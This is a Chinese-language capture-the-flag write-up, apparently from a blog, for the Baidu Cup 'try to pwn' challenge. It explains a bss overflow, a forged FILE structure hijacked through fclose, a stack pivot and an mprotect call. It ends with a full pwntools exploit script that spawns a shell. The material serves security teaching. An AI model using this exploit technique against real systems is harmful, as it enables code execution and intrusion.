第一屆百度杯線上初賽 - try to pwn

第一屆百度杯線上初賽 - try to pwn

題目涉及:

  • 僞造文件流(FILE Stream)
  • 調整棧幀(stack pivot)

源碼分析

題目給的是一個32位靜態編譯的程序,保護開啓情況如圖:

程序的大概業務流程是打開名爲輸入名稱+隨機數文件的隨機內容的文件,然後可以讀取並輸出這個文件的內容。

在 welcome 函數讀入用戶名時,沒有限制輸入長度,存在緩衝區溢出。

變量 x 位於 bss 段,文件指針 dword_80EFA00 也位於 bss 段,與 x 位置關係如圖:

存儲控制 x 輸入內容,可以覆寫文件指針 dword_80EFA00。程序最後調用了 fclose ,所以可以更改虛表指針來劫持控制流。

根據FILE結構,在 bss 段僞造出一個類似的結構,然後控制FILE裏面的函數指針,執行任意代碼。例如:執行fclose(fileexample)相當於調用 fileexample 這個文件(file)結構體虛表結構的 close 函數指針。

成功劫持文件流後,有一次調用機會(順序執行一遍代碼)。題目開啓了 NX 保護,不能執行棧上 shellcode 。採取的解決辦法是:先調整棧幀、擴充棧空間,使用 mprotect 函數改權限,讓新的棧空間有可執行權限。

🔗Linux中mprotect()函數的用法

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

代碼實現

mprotect 地址是用 gdb 加載程序後,print mprotect 查到。(無PIE)

from pwn import *
context.log_level = 'debug'

p = process('./fake')
#p = remote("106.75.2.53",10007)

mprotect_addr = 0x08071fd0
# ROPgadget --binary fake --only "pop|ret"
pop_esp_ret = 0x080e2b6d
# ROPgadget --binary fake --only "xchg|ret"
xchg_esp_eax_ret = 0x08048f66

payload = 'a' * 32 # fill up x
payload += p32(0x080efa00 + 4) # FILE Pointer point to fake file
payload += p32(0xffffffff) * (148 / 4) # fake file
payload += p32(0x080efa00 + 156) # fake file ending & point to gadget
payload += p32(pop_esp_ret)
payload += p32(0x080efa00 + 200) # stack pivot to enlarge 200 
payload += p32(xchg_esp_eax_ret)
fill_up = 200 - len(payload) + 32
payload += 'b' * fill_up
payload += p32(mprotect_addr) # call mprotect
payload += p32(0x080efa00 + 200 + 20) # ret to shellcode
payload += p32(0x080ef000) # argv 1
payload += p32(1024) # argv 2
payload += p32(7) # argv 3
payload += encoders.encoder.line(asm(shellcraft.sh())) # shellcode

# send name(payload)
p.recvuntil("name?")
p.sendline(payload)
# exit to run fclose
p.recvuntil(">")
p.sendline("3")

p.interactive()

發佈了80 篇原創文章 · 獲贊 35 · 訪問量 2萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章